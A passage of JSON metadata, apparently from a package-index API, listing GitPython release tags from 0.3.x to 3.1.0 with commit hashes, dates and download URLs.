2FGitPython/tags/3.1.0/manifests"},{"name":"3.0.9","sha":"4f358e04cb00647e1c74625a8f669b6803abd1fe","kind":"commit","published_at":"2020-02-24T06:46:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.9","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.9/manifests"},{"name":"3.0.8","sha":"bc553d6843c791fc4ad88d60b7d5b850a13fd0ac","kind":"tag","published_at":"2020-02-17T01:25:50.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.8","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.8/manifests"},{"name":"2.1.15","sha":"09ac0a109fd3a032e19ccc3017a9e1c79cda057a","kind":"commit","published_at":"2020-02-16T18:48:16.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.15","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.15/manifests"},{"name":"3.0.7","sha":"91f6e625da81cb43ca8bc961da0c060f23777fd1","kind":"tag","published_at":"2020-02-08T03:28:08.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.7/manifests"},{"name":"3.0.6","sha":"3e82a7845af93955d24a661a1a9acf8dbcce50b6","kind":"tag","published_at":"2020-02-08T03:03:17.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.6/manifests"},{"name":"3.0.5","sha":"85cf7e89682d061ea86514c112dfb684af664d45","kind":"tag","published_at":"2019-11-14T01:00:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.5/manifests"},{"name":"3.0.4","sha":"74930577ec77fefe6ae9989a5aeb8f244923c9ac","kind":"tag","published_at":"2019-10-22T10:47:54.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.4/manifests"},{"name":"3.0.3","sha":"23b83cd6a10403b5fe478932980bdd656280844d","kind":"commit","published_at":"2019-10-02T18:39:49.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.3/manifests"},{"name":"3.0.2","sha":"07657929bc6c0339d4d2e7e1dde1945199374b90","kind":"tag","published_at":"2019-08-22T03:28:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.2/manifests"},{"name":"3.0.1","sha":"5ff2f4f7a2f8212a68aff34401e66a5905f70f51","kind":"tag","published_at":"2019-08-15T02:49:11.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.1/manifests"},{"name":"2.1.14","sha":"a34d515d181f095c477ab35ccae00412219fad42","kind":"tag","published_at":"2019-08-14T10:08:02.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.14","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.14/manifests"},{"name":"3.0.0","sha":"5fa99bff215249378f90e1ce0254e66af155a301","kind":"tag","published_at":"2019-08-12T03:18:20.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.0/manifests"},{"name":"2.1.13","sha":"859ad046aecc077b9118f0a1c2896e3f9237cd75","kind":"tag","published_at":"2019-07-29T00:02:15.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.13","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.13/manifests"},{"name":"2.1.12","sha":"ce7e1507fa5f6faf049794d4d47b14157d1f2e50","kind":"tag","published_at":"2019-07-21T00:46:47.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.12","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.12/manifests"},{"name":"2.1.11","sha":"92a481966870924604113c50645c032fa43ffb1d","kind":"commit","published_at":"2018-07-15T13:35:57.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.11","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.11/manifests"},{"name":"2.1.10","sha":"6c2446f24bc6a91ca907cb51d0b4a690131222d6","kind":"tag","published_at":"2018-05-19T08:54:32.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.10","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.10/manifests"},{"name":"2.1.9","sha":"e79a3f8f6bc6594002a0747dd4595bc6b88a2b27","kind":"tag","published_at":"2018-03-24T12:51:05.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.9","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.9/manifests"},{"name":"2.1.8","sha":"9d15bc65735852d3dce5ca6d779a90a50c5323b8","kind":"tag","published_at":"2017-12-11T16:32:20.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.8","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.8/manifests"},{"name":"2.1.7","sha":"ccff34d6834a038ef71f186001a34b15d0b73303","kind":"commit","published_at":"2017-09-28T14:17:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.7/manifests"},{"name":"2.1.6","sha":"edb28b9b2c2bd699da0cdf5a4f3f0f0883ab33a2","kind":"commit","published_at":"2017-09-25T19:16:04.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.6/manifests"},{"name":"2.1.5","sha":"fc4e3cc8521f8315e98f38c5550d3f179933f340","kind":"commit","published_at":"2017-06-10T18:20:41.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.5/manifests"},{"name":"2.1.4","sha":"6420d2e3a914da1b4ae46c54b9eaa3c43d8fd060","kind":"commit","published_at":"2017-06-10T17:18:15.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.4/manifests"},{"name":"2.1.3","sha":"c23ae3a48bb37ae7ebd6aacc8539fee090ca34bd","kind":"commit","published_at":"2017-03-08T05:36:54.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.3/manifests"},{"name":"2.1.2","sha":"f8c31c6a6e9ffbfdbd292b8d687809b57644de27","kind":"commit","published_at":"2017-03-08T05:30:58.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.2/manifests"},{"name":"2.1.1","sha":"c823d482d03caa8238b48714af4dec6d9e476520","kind":"commit","published_at":"2016-12-08T15:43:35.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.1/manifests"},{"name":"2.1.0","sha":"8c3a6889b654892b3636212b880fa50df0358679","kind":"commit","published_at":"2016-10-22T14:03:48.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.0/manifests"},{"name":"2.0.9","sha":"ff389af9374116c47e3dc4f8a5979784bf1babff","kind":"commit","published_at":"2016-10-16T10:48:36.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.9","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.9/manifests"},{"name":"winerr_show","sha":"6df78b19b7786b15c664a7a1e0bcbb3e7c80f8da","kind":"commit","published_at":"2016-10-03T02:00:11.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/winerr_show","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/winerr_show","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/winerr_show","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/winerr_show/manifests"},{"name":"2.0.8","sha":"5d4d70844417bf484ca917326393ca31ff0d22bc","kind":"commit","published_at":"2016-08-03T04:37:58.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.8","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.8/manifests"},{"name":"2.0.7","sha":"49a9f84461fa907da786e91e1a8c29d38cdb70eb","kind":"commit","published_at":"2016-07-17T08:04:16.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.7/manifests"},{"name":"2.0.6","sha":"06571d7f6a260eda9ff7817764f608b731785d6b","kind":"commit","published_at":"2016-06-20T07:11:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.6/manifests"},{"name":"2.0.5","sha":"88716d3be8d9393fcf5695dd23efb9c252d1b09e","kind":"commit","published_at":"2016-05-30T19:23:51.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.5/manifests"},{"name":"2.0.4","sha":"2f91ab7bb0dadfd165031f846ae92c9466dceb66","kind":"commit","published_at":"2016-05-30T17:21:35.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.4/manifests"},{"name":"2.0.3","sha":"d66f2b53af0d8194ee952d90f4dc171aa426c545","kind":"commit","published_at":"2016-05-24T17:32:58.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.3/manifests"},{"name":"2.0.2","sha":"e73c80dd2dd1c82410fb1ee0e44eca6a73d9f052","kind":"commit","published_at":"2016-04-28T14:41:53.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.2/manifests"},{"name":"2.0.1","sha":"eedf3c133a9137723f98df5cd407265c24cc2704","kind":"commit","published_at":"2016-04-24T15:12:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"819c4ed8b443baee06472680f8d36022cb9c3240","kind":"commit","published_at":"2016-04-22T16:31:11.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.0/manifests"},{"name":"0.3.2.1-patched","sha":"7b9c0c7f0a47360d8ab4e81d5655aaa3d5c814e6","kind":"tag","published_at":"2016-03-15T19:19:10.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.2.1-patched","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.2.1-patched","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2.1-patched","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2.1-patched/manifests"},{"name":"1.0.2","sha":"dbc07b421172da4ef3153753709271a71af6966a","kind":"commit","published_at":"2016-02-11T04:06:42.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/1.0.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.2/manifests"},{"name":"1.0.1","sha":"2c594195eb614a200e1abb85706ec7b8b7c91268","kind":"commit","published_at":"2015-04-22T07:24:15.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/1.0.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"21b0448b65317b2830270ff4156a25aca7941472","kind":"commit","published_at":"2015-04-08T13:48:28.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/1.0.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.0/manifests"},{"name":"0.3.7","sha":"3470e269bcdc9091d0c5e25e7c09ce175c7cee77","kind":"commit","published_at":"2015-04-08T13:14:37.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.7/manifests"},{"name":"0.3.6","sha":"4df4159413a4bf30a891f21cd69202e8746c8fea","kind":"tag","published_at":"2015-01-22T18:08:19.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.6/manifests"},{"name":"0.3.5","sha":"a2d39529eea4d0ecfcd65a2d245284174cd2e0aa","kind":"tag","published_at":"2015-01-12T19:51:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.5/manifests"},{"name":"0.3.4","sha":"b18fd3fd13d0a1de0c3067292796e011f0f01a05","kind":"tag","published_at":"2015-01-06T16:22:02.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.4/manifests"},{"name":"0.3.3","sha":"1de8af907dbced4fde64ee2c7f57527fc43ad1cc","kind":"tag","published_at":"2015-01-04T15:13:11.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.3/manifests"},{"name":"0.3.2.1","sha":"5b6080369e7ee47b7d746685d264358c91d656bd","kind":"commit","published_at":"2014-11-18T08:59:46.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.2.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2.1/manifests"},{"name":"0.3.2","sha":"c5452aa820c0f5c2454642587ff6a3bd6d96eaa1","kind":"commit","published_at":"2014-11-14T14:52:34.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2/manifests"},{"name":"0.3.2-RC1","sha":"0e9eef45194039af6b8c22edf06cfd7cb106727a","kind":"commit","published_at":"2011-07-06T12:52:03.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.2-RC1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.2-RC1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2-RC1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2-RC1/manifests"},{"name":"0.3.1-beta2","sha":"5eb7fd3f0dd99dc6c49da6fd7e78a392c4ef1b33","kind":"commit","published_at":"2011-01-17T22:15:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.g